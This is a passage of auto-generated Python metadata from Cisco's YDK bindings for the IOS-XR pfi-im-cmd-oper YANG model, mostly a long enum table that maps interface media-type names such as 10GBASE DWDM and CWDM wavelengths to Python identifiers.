}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'InterfaceTypeSetEnum' : _MetaInfoEnum('InterfaceTypeSetEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'hardware-interfaces':'hardware_interfaces',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'BmStateReasonTargetEnum' : _MetaInfoEnum('BmStateReasonTargetEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'member-reason':'member_reason',
'bundle-reason':'bundle_reason',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'ImAttrMediaEnum' : _MetaInfoEnum('ImAttrMediaEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'im-attr-media-other':'im_attr_media_other',
'im-attr-media-unknown':'im_attr_media_unknown',
'im-attr-media-aui':'im_attr_media_aui',
'im-attr-media-10base5':'im_attr_media_10base5',
'im-attr-media-foirl':'im_attr_media_foirl',
'im-attr-media-10base2':'im_attr_media_10base2',
'im-attr-media-10broad36':'im_attr_media_10broad36',
'im-attr-media-10base':'im_attr_media_10base',
'im-attr-media-10base-thd':'im_attr_media_10base_thd',
'im-attr-media-10base-tfd':'im_attr_media_10base_tfd',
'im-attr-media-10base-fp':'im_attr_media_10base_fp',
'im-attr-media-10base-fb':'im_attr_media_10base_fb',
'im-attr-media-10base-fl':'im_attr_media_10base_fl',
'im-attr-media-10base-flhd':'im_attr_media_10base_flhd',
'im-attr-media-10base-flfd':'im_attr_media_10base_flfd',
'im-attr-media-100base-t4':'im_attr_media_100base_t4',
'im-attr-media-100base-tx':'im_attr_media_100base_tx',
'im-attr-media-100base-txhd':'im_attr_media_100base_txhd',
'im-attr-media-100base-txfd':'im_attr_media_100base_txfd',
'im-attr-media-100base-fx':'im_attr_media_100base_fx',
'im-attr-media-100base-fxhd':'im_attr_media_100base_fxhd',
'im-attr-media-100base-fxfd':'im_attr_media_100base_fxfd',
'im-attr-media-100base-ex':'im_attr_media_100base_ex',
'im-attr-media-100base-exhd':'im_attr_media_100base_exhd',
'im-attr-media-100base-exfd':'im_attr_media_100base_exfd',
'im-attr-media-100base-t2':'im_attr_media_100base_t2',
'im-attr-media-100base-t2hd':'im_attr_media_100base_t2hd',
'im-attr-media-100base-t2fd':'im_attr_media_100base_t2fd',
'im-attr-media-1000base-x':'im_attr_media_1000base_x',
'im-attr-media-1000base-xhdx':'im_attr_media_1000base_xhdx',
'im-attr-media-1000base-xfd':'im_attr_media_1000base_xfd',
'im-attr-media-1000base-lx':'im_attr_media_1000base_lx',
'im-attr-media-1000base-lxhd':'im_attr_media_1000base_lxhd',
'im-attr-media-1000base-lxfdx':'im_attr_media_1000base_lxfdx',
'im-attr-media-1000base-sx':'im_attr_media_1000base_sx',
'im-attr-media-1000base-sxhd':'im_attr_media_1000base_sxhd',
'im-attr-media-1000base-sxfd':'im_attr_media_1000base_sxfd',
'im-attr-media-1000base-cx':'im_attr_media_1000base_cx',
'im-attr-media-1000base-cxhdx':'im_attr_media_1000base_cxhdx',
'im-attr-media-1000base-cxfd':'im_attr_media_1000base_cxfd',
'im-attr-media-1000base':'im_attr_media_1000base',
'im-attr-media-1000base-thd':'im_attr_media_1000base_thd',
'im-attr-media-1000base-tfd':'im_attr_media_1000base_tfd',
'im-attr-media-10gbase-x':'im_attr_media_10gbase_x',
'im-attr-media-10gbase-lx4':'im_attr_media_10gbase_lx4',
'im-attr-media-10gbase-r':'im_attr_media_10gbase_r',
'im-attr-media-10gbase-er':'im_attr_media_10gbase_er',
'im-attr-media-10gbase-lr':'im_attr_media_10gbase_lr',
'im-attr-media-10gbase-sr':'im_attr_media_10gbase_sr',
'im-attr-media-10gbase-w':'im_attr_media_10gbase_w',
'im-attr-media-10gbase-ew':'im_attr_media_10gbase_ew',
'im-attr-media-10gbase-lw':'im_attr_media_10gbase_lw',
'im-attr-media-10gbase-sw':'im_attr_media_10gbase_sw',
'im-attr-media-10gbase-zr':'im_attr_media_10gbase_zr',
'im-attr-media-802-9a':'im_attr_media_802_9a',
'im-attr-media-rj45':'im_attr_media_rj45',
'im-attr-media-1000base-zx':'im_attr_media_1000base_zx',
'im-attr-media-1000base-cwdm':'im_attr_media_1000base_cwdm',
'im-attr-media-1000base-cwdm-1470':'im_attr_media_1000base_cwdm_1470',
'im-attr-media-1000base-cwdm-1490':'im_attr_media_1000base_cwdm_1490',
'im-attr-media-1000base-cwdm-1510':'im_attr_media_1000base_cwdm_1510',
'im-attr-media-1000base-cwdm-1530':'im_attr_media_1000base_cwdm_1530',
'im-attr-media-1000base-cwdm-1550':'im_attr_media_1000base_cwdm_1550',
'im-attr-media-1000base-cwdm-1570':'im_attr_media_1000base_cwdm_1570',
'im-attr-media-1000base-cwdm-1590':'im_attr_media_1000base_cwdm_1590',
'im-attr-media-1000base-cwdm-1610':'im_attr_media_1000base_cwdm_1610',
'im-attr-media-10gbase-dwdm':'im_attr_media_10gbase_dwdm',
'im-attr-media-100gbase-lr4':'im_attr_media_100gbase_lr4',
'im-attr-media-1000base-dwdm':'im_attr_media_1000base_dwdm',
'im-attr-media-1000base-dwdm-1533':'im_attr_media_1000base_dwdm_1533',
'im-attr-media-1000base-dwdm-1537':'im_attr_media_1000base_dwdm_1537',
'im-attr-media-1000base-dwdm-1541':'im_attr_media_1000base_dwdm_1541',
'im-attr-media-1000base-dwdm-1545':'im_attr_media_1000base_dwdm_1545',
'im-attr-media-1000base-dwdm-1549':'im_attr_media_1000base_dwdm_1549',
'im-attr-media-1000base-dwdm-1553':'im_attr_media_1000base_dwdm_1553',
'im-attr-media-1000base-dwdm-1557':'im_attr_media_1000base_dwdm_1557',
'im-attr-media-1000base-dwdm-1561':'im_attr_media_1000base_dwdm_1561',
'im-attr-media-40gbase-lr4':'im_attr_media_40gbase_lr4',
'im-attr-media-40gbase-er4':'im_attr_media_40gbase_er4',
'im-attr-media-100gbase-er4':'im_attr_media_100gbase_er4',
'im-attr-media-1000base-ex':'im_attr_media_1000base_ex',
'im-attr-media-1000base-bx10-d':'im_attr_media_1000base_bx10_d',
'im-attr-media-1000base-bx10-u':'im_attr_media_1000base_bx10_u',
'im-attr-media-1000base-dwdm-1561-42':'im_attr_media_1000base_dwdm_1561_42',
'im-attr-media-1000base-dwdm-1560-61':'im_attr_media_1000base_dwdm_1560_61',
'im-attr-media-1000base-dwdm-1559-79':'im_attr_media_1000base_dwdm_1559_79',
'im-attr-media-1000base-dwdm-1558-98':'im_attr_media_1000base_dwdm_1558_98',
'im-attr-media-1000base-dwdm-1558-17':'im_attr_media_1000base_dwdm_1558_17',
'im-attr-media-1000base-dwdm-1557-36':'im_attr_media_1000base_dwdm_1557_36',
'im-attr-media-1000base-dwdm-1556-55':'im_attr_media_1000base_dwdm_1556_55',
'im-attr-media-1000base-dwdm-1555-75':'im_attr_media_1000base_dwdm_1555_75',
'im-attr-media-1000base-dwdm-1554-94':'im_attr_media_1000base_dwdm_1554_94',
'im-attr-media-1000base-dwdm-1554-13':'im_attr_media_1000base_dwdm_1554_13',
'im-attr-media-1000base-dwdm-1553-33':'im_attr_media_1000base_dwdm_1553_33',
'im-attr-media-1000base-dwdm-1552-52':'im_attr_media_1000base_dwdm_1552_52',
'im-attr-media-1000base-dwdm-1551-72':'im_attr_media_1000base_dwdm_1551_72',
'im-attr-media-1000base-dwdm-1550-92':'im_attr_media_1000base_dwdm_1550_92',
'im-attr-media-1000base-dwdm-1550-12':'im_attr_media_1000base_dwdm_1550_12',
'im-attr-media-1000base-dwdm-1549-32':'im_attr_media_1000base_dwdm_1549_32',
'im-attr-media-1000base-dwdm-1548-51':'im_attr_media_1000base_dwdm_1548_51',
'im-attr-media-1000base-dwdm-1547-72':'im_attr_media_1000base_dwdm_1547_72',
'im-attr-media-1000base-dwdm-1546-92':'im_attr_media_1000base_dwdm_1546_92',
'im-attr-media-1000base-dwdm-1546-12':'im_attr_media_1000base_dwdm_1546_12',
'im-attr-media-1000base-dwdm-1545-32':'im_attr_media_1000base_dwdm_1545_32',
'im-attr-media-1000base-dwdm-1544-53':'im_attr_media_1000base_dwdm_1544_53',
'im-attr-media-1000base-dwdm-1543-73':'im_attr_media_1000base_dwdm_1543_73',
'im-attr-media-1000base-dwdm-1542-94':'im_attr_media_1000base_dwdm_1542_94',
'im-attr-media-1000base-dwdm-1542-14':'im_attr_media_1000base_dwdm_1542_14',
'im-attr-media-1000base-dwdm-1541-35':'im_attr_media_1000base_dwdm_1541_35',
'im-attr-media-1000base-dwdm-1540-56':'im_attr_media_1000base_dwdm_1540_56',
'im-attr-media-1000base-dwdm-1539-77':'im_attr_media_1000base_dwdm_1539_77',
'im-attr-media-1000base-dwdm-1538-98':'im_attr_media_1000base_dwdm_1538_98',
'im-attr-media-1000base-dwdm-1538-19':'im_attr_media_1000base_dwdm_1538_19',
'im-attr-media-1000base-dwdm-1537-40':'im_attr_media_1000base_dwdm_1537_40',
'im-attr-media-1000base-dwdm-1536-61':'im_attr_media_1000base_dwdm_1536_61',
'im-attr-media-1000base-dwdm-1535-82':'im_attr_media_1000base_dwdm_1535_82',
'im-attr-media-1000base-dwdm-1535-04':'im_attr_media_1000base_dwdm_1535_04',
'im-attr-media-1000base-dwdm-1534-25':'im_attr_media_1000base_dwdm_1534_25',
'im-attr-media-1000base-dwdm-1533-47':'im_attr_media_1000base_dwdm_1533_47',
'im-attr-media-1000base-dwdm-1532-68':'im_attr_media_1000base_dwdm_1532_68',
'im-attr-media-1000base-dwdm-1531-90':'im_attr_media_1000base_dwdm_1531_90',
'im-attr-media-1000base-dwdm-1531-12':'im_attr_media_1000base_dwdm_1531_12',
'im-attr-media-1000base-dwdm-1530-33':'im_attr_media_1000base_dwdm_1530_33',
'im-attr-media-1000base-dwdm-tunable':'im_attr_media_1000base_dwdm_tunable',
'im-attr-media-10gbase-dwdm-1561-42':'im_attr_media_10gbase_dwdm_1561_42',
'im-attr-media-10gbase-dwdm-1560-61':'im_attr_media_10gbase_dwdm_1560_61',
'im-attr-media-10gbase-dwdm-1559-79':'im_attr_media_10gbase_dwdm_1559_79',
'im-attr-media-10gbase-dwdm-1558-98':'im_attr_media_10gbase_dwdm_1558_98',
'im-attr-media-10gbase-dwdm-1558-17':'im_attr_media_10gbase_dwdm_1558_17',
'im-attr-media-10gbase-dwdm-1557-36':'im_attr_media_10gbase_dwdm_1557_36',
'im-attr-media-10gbase-dwdm-1556-55':'im_attr_media_10gbase_dwdm_1556_55',
'im-attr-media-10gbase-dwdm-1555-75':'im_attr_media_10gbase_dwdm_1555_75',
'im-attr-media-10gbase-dwdm-1554-94':'im_attr_media_10gbase_dwdm_1554_94',
'im-attr-media-10gbase-dwdm-1554-13':'im_attr_media_10gbase_dwdm_1554_13',
'im-attr-media-10gbase-dwdm-1553-33':'im_attr_media_10gbase_dwdm_1553_33',
'im-attr-media-10gbase-dwdm-1552-52':'im_attr_media_10gbase_dwdm_1552_52',
'im-attr-media-10gbase-dwdm-1551-72':'im_attr_media_10gbase_dwdm_1551_72',
'im-attr-media-10gbase-dwdm-1550-92':'im_attr_media_10gbase_dwdm_1550_92',
'im-attr-media-10gbase-dwdm-1550-12':'im_attr_media_10gbase_dwdm_1550_12',
'im-attr-media-10gbase-dwdm-1549-32':'im_attr_media_10gbase_dwdm_1549_32',
'im-attr-media-10gbase-dwdm-1548-51':'im_attr_media_10gbase_dwdm_1548_51',
'im-attr-media-10gbase-dwdm-1547-72':'im_attr_media_10gbase_dwdm_1547_72',
'im-attr-media-10gbase-dwdm-1546-92':'im_attr_media_10gbase_dwdm_1546_92',
'im-attr-media-10gbase-dwdm-1546-12':'im_attr_media_10gbase_dwdm_1546_12',
'im-attr-media-10gbase-dwdm-1545-32':'im_attr_media_10gbase_dwdm_1545_32',
'im-attr-media-10gbase-dwdm-1544-53':'im_attr_media_10gbase_dwdm_1544_53',
'im-attr-media-10gbase-dwdm-1543-73':'im_attr_media_10gbase_dwdm_1543_73',
'im-attr-media-10gbase-dwdm-1542-94':'im_attr_media_10gbase_dwdm_1542_94',
'im-attr-media-10gbase-dwdm-1542-14':'im_attr_media_10gbase_dwdm_1542_14',
'im-attr-media-10gbase-dwdm-1541-35':'im_attr_media_10gbase_dwdm_1541_35',
'im-attr-media-10gbase-dwdm-1540-56':'im_attr_media_10gbase_dwdm_1540_56',
'im-attr-media-10gbase-dwdm-1539-77':'im_attr_media_10gbase_dwdm_1539_77',
'im-attr-media-10gbase-dwdm-1538-98':'im_attr_media_10gbase_dwdm_1538_98',
'im-attr-media-10gbase-dwdm-1538-19':'im_attr_media_10gbase_dwdm_1538_19',
'im-attr-media-10gbase-dwdm-1537-40':'im_attr_media_10gbase_dwdm_1537_40',
'im-attr-media-10gbase-dwdm-1536-61':'im_attr_media_10gbase_dwdm_1536_61',
'im-attr-media-10gbase-dwdm-1535-82':'im_attr_media_10gbase_dwdm_1535_82',
'im-attr-media-10gbase-dwdm-1535-04':'im_attr_media_10gbase_dwdm_1535_04',
'im-attr-media-10gbase-dwdm-1534-25':'im_attr_media_10gbase_dwdm_1534_25',
'im-attr-media-10gbase-dwdm-1533-47':'im_attr_media_10gbase_dwdm_1533_47',
'im-attr-media-10gbase-dwdm-1532-68':'im_attr_media_10gbase_dwdm_1532_68',
'im-attr-media-10gbase-dwdm-1531-90':'im_attr_media_10gbase_dwdm_1531_90',
'im-attr-media-10gbase-dwdm-1531-12':'im_attr_media_10gbase_dwdm_1531_12',
'im-attr-media-10gbase-dwdm-1530-33':'im_attr_media_10gbase_dwdm_1530_33',
'im-attr-media-10gbase-dwdm-tunable':'im_attr_media_10gbase_dwdm_tunable',
'im-attr-media-40gbase-dwdm-1561-42':'im_attr_media_40gbase_dwdm_1561_42',
'im-attr-media-40gbase-dwdm-1560-61':'im_attr_media_40gbase_dwdm_1560_61',
'im-attr-media-40gbase-dwdm-1559-79':'im_attr_media_40gbase_dwdm_1559_79',
'im-attr-media-40gbase-dwdm-1558-98':'im_attr_media_40gbase_dwdm_1558_98',
'im-attr-media-40gbase-dwdm-1558-17':'im_attr_media_40gbase_dwdm_1558_17',
'im-attr-media-40gbase-dwdm-1557-36':'im_attr_media_40gbase_dwdm_1557_36',
'im-attr-media-40gbase-dwdm-1556-55':'im_attr_media_40gbase_dwdm_1556_55',
'im-attr-media-40gbase-dwdm-1555-75':'im_attr_media_40gbase_dwdm_1555_75',
'im-attr-media-40gbase-dwdm-1554-94':'im_attr_media_40gbase_dwdm_1554_94',
'im-attr-media-40gbase-dwdm-1554-13':'im_attr_media_40gbase_dwdm_1554_13',
'im-attr-media-40gbase-dwdm-1553-33':'im_attr_media_40gbase_dwdm_1553_33',
'im-attr-media-40gbase-dwdm-1552-52':'im_attr_media_40gbase_dwdm_1552_52',
'im-attr-media-40gbase-dwdm-1551-72':'im_attr_media_40gbase_dwdm_1551_72',
'im-attr-media-40gbase-dwdm-1550-92':'im_attr_media_40gbase_dwdm_1550_92',
'im-attr-media-40gbase-dwdm-1550-12':'im_attr_media_40gbase_dwdm_1550_12',
'im-attr-media-40gbase-dwdm-1549-32':'im_attr_media_40gbase_dwdm_1549_32',
'im-attr-media-40gbase-dwdm-1548-51':'im_attr_media_40gbase_dwdm_1548_51',
'im-attr-media-40gbase-dwdm-1547-72':'im_attr_media_40gbase_dwdm_1547_72',
'im-attr-media-40gbase-dwdm-1546-92':'im_attr_media_40gbase_dwdm_1546_92',
'im-attr-media-40gbase-dwdm-1546-12':'im_attr_media_40gbase_dwdm_1546_12',
'im-attr-media-40gbase-dwdm-1545-32':'im_attr_media_40gbase_dwdm_1545_32',
'im-attr-media-40gbase-dwdm-1544-53':'im_attr_media_40gbase_dwdm_1544_53',
'im-attr-media-40gbase-dwdm-1543-73':'im_attr_media_40gbase_dwdm_1543_73',
'im-attr-media-40gbase-dwdm-1542-94':'im_attr_media_40gbase_dwdm_1542_94',
'im-attr-media-40gbase-dwdm-1542-14':'im_attr_media_40gbase_dwdm_1542_14',
'im-attr-media-40gbase-dwdm-1541-35':'im_attr_media_40gbase_dwdm_1541_35',
'im-attr-media-40gbase-dwdm-1540-56':'im_attr_media_40gbase_dwdm_1540_56',
'im-attr-media-40gbase-dwdm-1539-77':'im_attr_media_40gbase_dwdm_1539_77',
'im-attr-media-40gbase-dwdm-1538-98':'im_attr_media_40gbase_dwdm_1538_98',
'im-attr-media-40gbase-dwdm-1538-19':'im_attr_media_40gbase_dwdm_1538_19',
'im-attr-media-40gbase-dwdm-1537-40':'im_attr_media_40gbase_dwdm_1537_40',
'im-attr-media-40gbase-dwdm-1536-61':'im_attr_media_40gbase_dwdm_1536_61',
'im-attr-media-40gbase-dwdm-1535-82':'im_attr_media_40gbase_dwdm_1535_82',
'im-attr-media-40gbase-dwdm-1535-04':'im_attr_media_40gbase_dwdm_1535_04',
'im-attr-media-40gbase-dwdm-1534-25':'im_attr_media_40gbase_dwdm_1534_25',
'im-attr-media-40gbase-dwdm-1533-47':'im_attr_media_40gbase_dwdm_1533_47',
'im-attr-media-40gbase-dwdm-1532-68':'im_attr_media_40gbase_dwdm_1532_68',
'im-attr-media-40gbase-dwdm-1531-90':'im_attr_media_40gbase_dwdm_1531_90',
'im-attr-media-40gbase-dwdm-1531-12':'im_attr_media_40gbase_dwdm_1531_12',
'im-attr-media-40gbase-dwdm-1530-33':'im_attr_media_40gbase_dwdm_1530_33',
'im-attr-media-40gbase-dwdm-tunable':'im_attr_media_40gbase_dwdm_tunable',
'im-attr-media-100gbase-dwdm-1561-42':'im_attr_media_100gbase_dwdm_1561_42',
'im-attr-media-100gbase-dwdm-1560-61':'im_attr_media_100gbase_dwdm_1560_61',
'im-attr-media-100gbase-dwdm-1559-79':'im_attr_media_100gbase_dwdm_1559_79',
'im-attr-media-100gbase-dwdm-1558-98':'im_attr_media_100gbase_dwdm_1558_98',
'im-attr-media-100gbase-dwdm-1558-17':'im_attr_media_100gbase_dwdm_1558_17',
'im-attr-media-100gbase-dwdm-1557-36':'im_attr_media_100gbase_dwdm_1557_36',
'im-attr-media-100gbase-dwdm-1556-55':'im_attr_media_100gbase_dwdm_1556_55',
'im-attr-media-100gbase-dwdm-1555-75':'im_attr_media_100gbase_dwdm_1555_75',
'im-attr-media-100gbase-dwdm-1554-94':'im_attr_media_100gbase_dwdm_1554_94',
'im-attr-media-100gbase-dwdm-1554-13':'im_attr_media_100gbase_dwdm_1554_13',
'im-attr-media-100gbase-dwdm-1553-33':'im_attr_media_100gbase_dwdm_1553_33',
'im-attr-media-100gbase-dwdm-1552-52':'im_attr_media_100gbase_dwdm_1552_52',
'im-attr-media-100gbase-dwdm-1551-72':'im_attr_media_100gbase_dwdm_1551_72',
'im-attr-media-100gbase-dwdm-1550-92':'im_attr_media_100gbase_dwdm_1550_92',
'im-attr-media-100gbase-dwdm-1550-12':'im_attr_media_100gbase_dwdm_1550_12',
'im-attr-media-100gbase-dwdm-1549-32':'im_attr_media_100gbase_dwdm_1549_32',
'im-attr-media-100gbase-dwdm-1548-51':'im_attr_media_100gbase_dwdm_1548_51',
'im-attr-media-100gbase-dwdm-1547-72':'im_attr_media_100gbase_dwdm_1547_72',
'im-attr-media-100gbase-dwdm-1546-92':'im_attr_media_100gbase_dwdm_1546_92',
'im-attr-media-100gbase-dwdm-1546-12':'im_attr_media_100gbase_dwdm_1546_12',
'im-attr-media-100gbase-dwdm-1545-32':'im_attr_media_100gbase_dwdm_1545_32',
'im-attr-media-100gbase-dwdm-1544-53':'im_attr_media_100gbase_dwdm_1544_53',
'im-attr-media-100gbase-dwdm-1543-73':'im_attr_media_100gbase_dwdm_1543_73',
'im-attr-media-100gbase-dwdm-1542-94':'im_attr_media_100gbase_dwdm_1542_94',
'im-attr-media-100gbase-dwdm-1542-14':'im_attr_media_100gbase_dwdm_1542_14',
'im-attr-media-100gbase-dwdm-1541-35':'im_attr_media_100gbase_dwdm_1541_35',
'im-attr-media-100gbase-dwdm-1540-56':'im_attr_media_100gbase_dwdm_1540_56',
'im-attr-media-100gbase-dwdm-1539-77':'im_attr_media_100gbase_dwdm_1539_77',
'im-attr-media-100gbase-dwdm-1538-98':'im_attr_media_100gbase_dwdm_1538_98',
'im-attr-media-100gbase-dwdm-1538-19':'im_attr_media_100gbase_dwdm_1538_19',
'im-attr-media-100gbase-dwdm-1537-40':'im_attr_media_100gbase_dwdm_1537_40',
'im-attr-media-100gbase-dwdm-1536-61':'im_attr_media_100gbase_dwdm_1536_61',
'im-attr-media-100gbase-dwdm-1535-82':'im_attr_media_100gbase_dwdm_1535_82',
'im-attr-media-100gbase-dwdm-1535-04':'im_attr_media_100gbase_dwdm_1535_04',
'im-attr-media-100gbase-dwdm-1534-25':'im_attr_media_100gbase_dwdm_1534_25',
'im-attr-media-100gbase-dwdm-1533-47':'im_attr_media_100gbase_dwdm_1533_47',
'im-attr-media-100gbase-dwdm-1532-68':'im_attr_media_100gbase_dwdm_1532_68',
'im-attr-media-100gbase-dwdm-1531-90':'im_attr_media_100gbase_dwdm_1531_90',
'im-attr-media-100gbase-dwdm-1531-12':'im_attr_media_100gbase_dwdm_1531_12',
'im-attr-media-100gbase-dwdm-1530-33':'im_attr_media_100gbase_dwdm_1530_33',
'im-attr-media-100gbase-dwdm-tunable':'im_attr_media_100gbase_dwdm_tunable',
'im-attr-media-40gbase-kr4':'im_attr_media_40gbase_kr4',
'im-attr-media-40gbase-cr4':'im_attr_media_40gbase_cr4',
'im-attr-media-40gbase-sr4':'im_attr_media_40gbase_sr4',
'im-attr-media-40gbase-fr':'im_attr_media_40gbase_fr',
'im-attr-media-100gbase-cr10':'im_attr_media_100gbase_cr10',
'im-attr-media-100gbase-sr10':'im_attr_media_100gbase_sr10',
'im-attr-media-40gbase-csr4':'im_attr_media_40gbase_csr4',
'im-attr-media-10gbase-cwdm':'im_attr_media_10gbase_cwdm',
'im-attr-media-10gbase-cwdm-tunable':'im_attr_media_10gbase_cwdm_tunable',
'im-attr-media-10gbase-cwdm-1470':'im_attr_media_10gbase_cwdm_1470',
'im-attr-media-10gbase-cwdm-1490':'im_attr_media_10gbase_cwdm_1490',
'im-attr-media-10gbase-cwdm-1510':'im_attr_media_10gbase_cwdm_1510',
'im-attr-media-10gbase-cwdm-1530':'im_attr_media_10gbase_cwdm_1530',
'im-attr-media-10gbase-cwdm-1550':'im_attr_media_10gbase_cwdm_1550',
'im-attr-media-10gbase-cwdm-1570':'im_attr_media_10gbase_cwdm_1570',
'im-attr-media-10gbase-cwdm-1590':'im_attr_media_10gbase_cwdm_1590',
'im-attr-media-10gbase-cwdm-1610':'im_attr_media_10gbase_cwdm_1610',
'im-attr-media-40gbase-cwdm':'im_attr_media_40gbase_cwdm',
'im-attr-media-40gbase-cwdm-tunable':'im_attr_media_40gbase_cwdm_tunable',
'im-attr-media-40gbase-cwdm-1470':'im_attr_media_40gbase_cwdm_1470',
'im-attr-media-40gbase-cwdm-1490':'im_attr_media_40gbase_cwdm_1490',
'im-attr-media-40gbase-cwdm-1510':'im_attr_media_40gbase_cwdm_1510',
'im-attr-media-40gbase-cwdm-1530':'im_attr_media_40gbase_cwdm_1530',
'im-attr-media-40gbase-cwdm-1550':'im_attr_media_40gbase_cwdm_1550',
'im-attr-media-40gbase-cwdm-1570':'im_attr_media_40gbase_cwdm_1570',
'im-attr-media-40gbase-cwdm-1590':'im_attr_media_40gbase_cwdm_1590',
'im-attr-media-40gbase-cwdm-1610':'im_attr_media_40gbase_cwdm_1610',
'im-attr-media-100gbase-cwdm':'im_attr_media_100gbase_cwdm',
'im-attr-media-100gbase-cwdm-tunable':'im_attr_media_100gbase_cwdm_tunable',
'im-attr-media-100gbase-cwdm-1470':'im_attr_media_100gbase_cwdm_1470',
'im-attr-media-100gbase-cwdm-1490':'im_attr_media_100gbase_cwdm_1490',
'im-attr-media-100gbase-cwdm-1510':'im_attr_media_100gbase_cwdm_1510',
'im-attr-media-100gbase-cwdm-1530':'im_attr_media_100gbase_cwdm_1530',
'im-attr-media-100gbase-cwdm-1550':'im_attr_media_100gbase_cwdm_1550',
'im-attr-media-100gbase-cwdm-1570':'im_attr_media_100gbase_cwdm_1570',
'im-attr-media-100gbase-cwdm-1590':'im_attr_media_100gbase_cwdm_1590',
'im-attr-media-100gbase-cwdm-1610':'im_attr_media_100gbase_cwdm_1610',
'im-attr-media-40gbase-elpb':'im_attr_media_40gbase_elpb',
'im-attr-media-100gbase-elpb':'im_attr_media_100gbase_elpb',
'im-attr-media-100gbase-lr10':'im_attr_media_100gbase_lr10',
'im-attr-media-40gbase':'im_attr_media_40gbase',
'im-attr-media-100gbase-kp4':'im_attr_media_100gbase_kp4',
'im-attr-media-100gbase-kr4':'im_attr_media_100gbase_kr4',
'im-attr-media-10gbase-lrm':'im_attr_media_10gbase_lrm',
'im-attr-media-10gbase-cx4':'im_attr_media_10gbase_cx4',
'im-attr-media-10gbase':'im_attr_media_10gbase',
'im-attr-media-10gbase-kx4':'im_attr_media_10gbase_kx4',
'im-attr-media-10gbase-kr':'im_attr_media_10gbase_kr',
'im-attr-media-10gbase-pr':'im_attr_media_10gbase_pr',
'im-attr-media-100base-lx':'im_attr_media_100base_lx',
'im-attr-media-100base-zx':'im_attr_media_100base_zx',
'im-attr-media-1000base-bx-d':'im_attr_media_1000base_bx_d',
'im-attr-media-1000base-bx-u':'im_attr_media_1000base_bx_u',
'im-attr-media-1000base-bx20-d':'im_attr_media_1000base_bx20_d',
'im-attr-media-1000base-bx20-u':'im_attr_media_1000base_bx20_u',
'im-attr-media-1000base-bx40-d':'im_attr_media_1000base_bx40_d',
'im-attr-media-1000base-bx40-da':'im_attr_media_1000base_bx40_da',
'im-attr-media-1000base-bx40-u':'im_attr_media_1000base_bx40_u',
'im-attr-media-1000base-bx80-d':'im_attr_media_1000base_bx80_d',
'im-attr-media-1000base-bx80-u':'im_attr_media_1000base_bx80_u',
'im-attr-media-1000base-bx120-d':'im_attr_media_1000base_bx120_d',
'im-attr-media-1000base-bx120-u':'im_attr_media_1000base_bx120_u',
'im-attr-media-10gbase-bx-d':'im_attr_media_10gbase_bx_d',
'im-attr-media-10gbase-bx-u':'im_attr_media_10gbase_bx_u',
'im-attr-media-10gbase-bx10-d':'im_attr_media_10gbase_bx10_d',
'im-attr-media-10gbase-bx10-u':'im_attr_media_10gbase_bx10_u',
'im-attr-media-10gbase-bx20-d':'im_attr_media_10gbase_bx20_d',
'im-attr-media-10gbase-bx20-u':'im_attr_media_10gbase_bx20_u',
'im-attr-media-10gbase-bx40-d':'im_attr_media_10gbase_bx40_d',
'im-attr-media-10gbase-bx40-u':'im_attr_media_10gbase_bx40_u',
'im-attr-media-10gbase-bx80-d':'im_attr_media_10gbase_bx80_d',
'im-attr-media-10gbase-bx80-u':'im_attr_media_10gbase_bx80_u',
'im-attr-media-10gbase-bx120-d':'im_attr_media_10gbase_bx120_d',
'im-attr-media-10gbase-bx120-u':'im_attr_media_10gbase_bx120_u',
'im-attr-media-1000base-dr-lx':'im_attr_media_1000base_dr_lx',
'im-attr-media-100gbase-er4l':'im_attr_media_100gbase_er4l',
'im-attr-media-100gbase-sr4':'im_attr_media_100gbase_sr4',
'im-attr-media-40gbase-sr-bd':'im_attr_media_40gbase_sr_bd',
'im-attr-media-25gbase-cr':'im_attr_media_25gbase_cr',
'im-attr-media-25gbase-cr-s':'im_attr_media_25gbase_cr_s',
'im-attr-media-25gbase-kr':'im_attr_media_25gbase_kr',
'im-attr-media-25gbase-kr-s':'im_attr_media_25gbase_kr_s',
'im-attr-media-25gbase-r':'im_attr_media_25gbase_r',
'im-attr-media-25gbase-sr':'im_attr_media_25gbase_sr',
'im-attr-media-25gbase-dwdm':'im_attr_media_25gbase_dwdm',
'im-attr-media-25gbase-dwdm-tunable':'im_attr_media_25gbase_dwdm_tunable',
'im-attr-media-25gbase-cwdm':'im_attr_media_25gbase_cwdm',
'im-attr-media-25gbase-cwdm-tunable':'im_attr_media_25gbase_cwdm_tunable',
'im-attr-media-100gbase-psm4':'im_attr_media_100gbase_psm4',
'im-attr-media-100gbase-er10':'im_attr_media_100gbase_er10',
'im-attr-media-100gbase-er10l':'im_attr_media_100gbase_er10l',
'im-attr-media-100gbase-acc':'im_attr_media_100gbase_acc',
'im-attr-media-100gbase-aoc':'im_attr_media_100gbase_aoc',
'im-attr-media-100gbase-cwdm4':'im_attr_media_100gbase_cwdm4',
'im-attr-media-40gbase-psm4':'im_attr_media_40gbase_psm4',
'im-attr-media-100gbase-cr4':'im_attr_media_100gbase_cr4',
'im-attr-media-100gbase-act-loop':'im_attr_media_100gbase_act_loop',
'im-attr-media-100gbase-pas-loop':'im_attr_media_100gbase_pas_loop',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'SrpMgmtSrrNodeStateEnum' : _MetaInfoEnum('SrpMgmtSrrNodeStateEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper',
{
'idle-srr-state':'idle_srr_state',
'discovery-srr-state':'discovery_srr_state',
'unknown-srr-state':'unknown_srr_state',
}, 'Cisco-IOS-XR-pfi-im-cmd-oper', _yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper']),
'Interfaces.InterfaceXr.Interface.DampeningInformation' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceXr.Interface.DampeningInformation',
False,
[
_MetaInfoClassMember('half-life', ATTRIBUTE, 'int' , None, None,
